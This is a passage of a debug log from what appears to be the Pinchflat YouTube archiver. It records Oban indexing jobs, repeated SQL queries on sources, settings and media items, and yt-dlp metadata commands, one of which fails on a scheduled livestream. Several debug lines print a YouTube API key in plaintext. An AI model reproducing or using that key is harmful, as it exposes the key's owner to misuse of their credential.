short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:09:57.602 [debug] QUERY OK source="tasks" db=0.1ms idle=218.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268407, 14, ~U[2026-10-09 22:09:57Z], ~U[2026-10-09 22:09:57Z]] 17:09:57.602 [info] {"args":{"id":14},"id":5268368,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":220425,"event":"job:stop","queue_time":395269,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:00.435 [info] {"source":"oban","duration":81,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:03.938 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/09/27/0927f998711fadbc317acf5b7fe49fd6c558d48863c3cfa124bff1ef6b34e780.json --sleep-requests 81 --sleep-interval 85 --sleep-subtitles 76 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 17:10:03.938 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 17:10:03.940 [debug] QUERY OK source="media_items" db=1.3ms idle=1556.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:10:03.941 [debug] QUERY OK source="tasks" db=0.1ms idle=593.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268408, 37, ~U[2026-10-09 22:10:03Z], ~U[2026-10-09 22:10:03Z]] 17:10:03.941 [info] {"args":{"id":37},"id":5268367,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82636079,"event":"job:stop","queue_time":237757,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:10.396 [info] {"args":{"id":12},"id":5268369,"meta":{},"system_time":1791583810396230983,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:10.396 [debug] QUERY OK source="sources" db=0.1ms idle=1049.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:10:10.396 [debug] QUERY OK source="settings" db=0.0ms idle=1049.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:10.396 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:10:10.397 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:10.397 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:10:10.397 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:10.397 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:10:10.633 [debug] QUERY OK source="media_items" db=0.7ms idle=235.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 17:10:10.634 [debug] QUERY OK source="media_items" db=0.6ms idle=237.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:10:10.635 [debug] QUERY OK source="tasks" db=0.1ms idle=237.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268409, 12, ~U[2026-10-09 22:10:10Z], ~U[2026-10-09 22:10:10Z]] 17:10:10.635 [info] {"args":{"id":12},"id":5268369,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":239170,"event":"job:stop","queue_time":479535,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:11.397 [info] {"args":{"id":41},"id":5268370,"meta":{},"system_time":1791583811397145328,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:11.397 [debug] QUERY OK source="sources" db=0.1ms idle=761.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:10:11.397 [debug] QUERY OK source="settings" db=0.0ms idle=761.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:11.397 [debug] QUERY OK source="media_profiles" db=0.1ms idle=756.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:10:11.397 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:11.397 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:10:11.398 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:11.398 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:10:11.650 [debug] QUERY OK source="media_items" db=0.6ms idle=252.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 17:10:11.651 [debug] QUERY OK source="media_items" db=0.8ms idle=253.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:10:11.652 [debug] QUERY OK source="tasks" db=0.1ms idle=254.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268410, 41, ~U[2026-10-09 22:10:11Z], ~U[2026-10-09 22:10:11Z]] 17:10:11.652 [info] {"args":{"id":41},"id":5268370,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":255420,"event":"job:stop","queue_time":368929,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:15.641 [info] {"source":"oban","duration":10195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":9} 17:10:45.651 [info] {"source":"oban","duration":10148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:11:00.437 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:15.662 [info] {"source":"oban","duration":9846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:45.673 [info] {"source":"oban","duration":9760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:12:00.437 [info] {"source":"oban","duration":110,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:15.683 [info] {"source":"oban","duration":9958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:45.694 [info] {"source":"oban","duration":9728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.438 [info] {"source":"oban","duration":120,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:15.704 [info] {"source":"oban","duration":9528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:45.712 [info] {"source":"oban","duration":7183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:13:53.628 [info] {"args":{"id":42},"id":5268371,"meta":{},"system_time":1791584033628214039,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:13:53.628 [debug] QUERY OK source="sources" db=0.2ms idle=281.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:13:53.628 [debug] QUERY OK source="settings" db=0.0ms idle=281.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.629 [debug] QUERY OK source="media_profiles" db=0.6ms idle=281.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:13:53.630 [debug] QUERY OK source="settings" db=0.5ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.630 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:13:53.630 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.630 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:13:53.769 [debug] QUERY OK source="media_items" db=0.3ms idle=140.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:13:53.769 [debug] QUERY OK source="settings" db=0.0ms idle=140.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.769 [debug] QUERY OK source="settings" db=0.0ms idle=140.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.769 [debug] Running yt-dlp command for action: get_media_attributes 17:13:53.770 [debug] QUERY OK source="settings" db=0.0ms idle=139.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.770 [debug] QUERY OK source="settings" db=0.0ms idle=139.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.770 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:13:53.770 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/03/74/0374a40ef0a8f72c7980ffedfdf8b7074ce8307a2b3d09a2c0d0359693e3a3cb.json --sleep-requests 85 --sleep-interval 73 --sleep-subtitles 87 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:14:00.440 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:05.640 [info] {"args":{"id":19},"id":5268372,"meta":{},"system_time":1791584045640184916,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:14:05.640 [debug] QUERY OK source="sources" db=0.1ms idle=293.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:14:05.640 [debug] QUERY OK source="settings" db=0.1ms idle=293.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.640 [debug] QUERY OK source="media_profiles" db=0.0ms idle=293.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:14:05.641 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 